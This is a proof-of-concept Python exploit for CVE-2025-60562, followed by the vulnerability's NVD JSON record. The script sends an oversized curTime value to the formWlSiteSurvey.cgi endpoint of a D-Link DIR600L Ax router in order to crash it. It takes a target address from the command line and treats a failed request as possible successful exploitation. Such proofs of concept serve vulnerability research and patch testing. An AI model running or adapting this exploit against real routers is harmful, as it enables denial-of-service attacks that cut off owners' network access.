CVE-2025-60562

#!/usr/bin/env python3 """ CVE-2025-60562 PoC - D-Link DIR600L Ax Buffer Overflow in formWlSiteSurvey This PoC demonstrates the buffer overflow vulnerability via curTime parameter. Note: Use only for authorized security testing. """ import requests import sys target = "http://192.168.0.1" # Default D-Link router IP def exploit_buffer_overflow(): """ Send malicious request with oversized curTime parameter to trigger buffer overflow. """ # Create oversized payload to trigger buffer overflow # The exact length may vary based on the vulnerable function's buffer size overflow_length = 1000 # Adjust based on testing payload = "A" * overflow_length # Construct the exploit request url = f"{target}/formWlSiteSurvey.cgi" data = { "curTime": payload, # Malicious overflow payload "submit button": "Refresh", } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60562-PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] If vulnerable, the router may crash or become unresponsive") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print(f"[*] This may indicate successful exploitation (device crash)") if __name__ == "__main__": print("="*60) print("CVE-2025-60562 PoC - D-Link DIR600L Ax Buffer Overflow") print("="*60) if len(sys.argv) > 1: target = sys.argv[1] exploit_buffer_overflow()

{"cve": {"id": "CVE-2025-60562", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:23:55.680", "lastModified": "2025-10-28T02:30:40.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formWlSiteSurvey."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/15-buffer%20overflow-formWlSiteSurvey.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}